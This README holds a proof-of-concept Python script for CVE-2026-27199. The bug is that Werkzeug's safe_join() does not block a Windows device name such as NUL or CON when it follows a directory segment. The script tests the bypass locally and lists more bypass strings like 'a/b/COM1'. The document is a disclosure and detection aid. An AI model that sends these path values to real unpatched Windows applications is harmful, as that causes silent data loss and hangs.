README.md
Rendering markdown...
"""
Proof of Concept: CVE-2026-27199
Werkzeug safe_join() Windows device-name bypass via nested path segments
Affected versions: werkzeug < 3.1.6
Fixed in: werkzeug 3.1.6
Severity: Moderate
Reporter: alimezar
Description:
werkzeug.security.safe_join() is documented to block Windows special device
names (CON, NUL, PRN, AUX, COM1, etc.). The check correctly blocks top-level
device names (e.g. "NUL"), but fails to validate each individual path segment.
A device name placed after one or more directory components (e.g. "subdir/NUL")
bypasses the filter entirely, allowing the returned path to resolve to a Windows
device file when used with open() or other file I/O operations.
Impact:
- Silent data loss: writes to "subdir/NUL" succeed but are discarded by the OS.
- Indefinite read hangs: send_from_directory() can hang on device reads (e.g. CON).
- Any application passing untrusted filenames to safe_join() on Windows is affected.
Usage:
Run on Windows with an affected Werkzeug version:
python poc_CVE-2026-27199.py
Expected output on a vulnerable version:
[*] Werkzeug version: 3.1.5
[+] safe_join(base, 'NUL') -> None (correctly blocked)
[!] safe_join(base, 'subdir/NUL') -> C:\\...\\subdir\\NUL (bypass!)
[!] open(nested NUL) write: SUCCESS — data silently discarded by device
[!] VULNERABLE: device-name bypass confirmed.
Expected output on a patched version (>= 3.1.6):
[+] safe_join(base, 'subdir/NUL') -> None (correctly blocked)
[+] NOT VULNERABLE: nested device name was blocked.
"""
import os
import sys
import tempfile
try:
from importlib.metadata import version as pkg_version
except ImportError:
from importlib_metadata import version as pkg_version # Python < 3.8 fallback
from werkzeug.security import safe_join
def main():
print("=" * 60)
print("CVE-2026-27199 — Werkzeug safe_join() PoC")
print("=" * 60)
try:
wz_ver = pkg_version("werkzeug")
except Exception:
wz_ver = "unknown"
print(f"[*] Werkzeug version : {wz_ver}")
print(f"[*] os.name : {os.name}")
print()
if os.name != "nt":
print("[~] Not running on Windows (os.name != 'nt').")
print(" The Windows device-name bypass only manifests on Windows.")
print(" Run this script on a Windows host to observe the full impact.")
sys.exit(0)
# Create a temporary base directory with a sub-directory for the nested test
base = tempfile.mkdtemp(prefix="cve_2026_27199_")
subdir = os.path.join(base, "subdir")
os.makedirs(subdir, exist_ok=True)
print(f"[*] Temp base dir : {base}")
print()
# --- Test 1: top-level device name (should be blocked on all versions) ---
result_top = safe_join(base, "NUL")
if result_top is None:
print("[+] safe_join(base, 'NUL') -> None (correctly blocked)")
else:
print(f"[!] safe_join(base, 'NUL') -> {result_top} (unexpected — not blocked!)")
# --- Test 2: nested device name (the bypass) ---
result_nested = safe_join(base, "subdir/NUL")
if result_nested is None:
print("[+] safe_join(base, 'subdir/NUL') -> None (correctly blocked)")
print()
print("[+] NOT VULNERABLE: nested device name was blocked.")
print(" Ensure you are running werkzeug >= 3.1.6.")
sys.exit(0)
else:
print(f"[!] safe_join(base, 'subdir/NUL') -> {result_nested} (bypass!)")
print()
# --- Test 3: demonstrate silent data loss via NUL ---
print("[*] Attempting to write to the returned path ...")
try:
with open(result_nested, "wb") as fh:
fh.write(b"this data will be silently discarded")
print("[!] open(nested NUL) write: SUCCESS — data silently discarded by device")
except Exception as exc:
print(f"[-] open(nested NUL) write: ERROR — {exc!r}")
print()
print("[!] VULNERABLE: CVE-2026-27199 confirmed on this installation.")
# Additional bypass patterns (printed for reference, not executed)
extras = ["uploads/NUL", "a/b/COM1", "assets/CON", "data/PRN", "x/y/AUX"]
print()
print("[*] Other bypass patterns (not executed here):")
for pattern in extras:
print(f" safe_join(base, {pattern!r})")
if __name__ == "__main__":
main()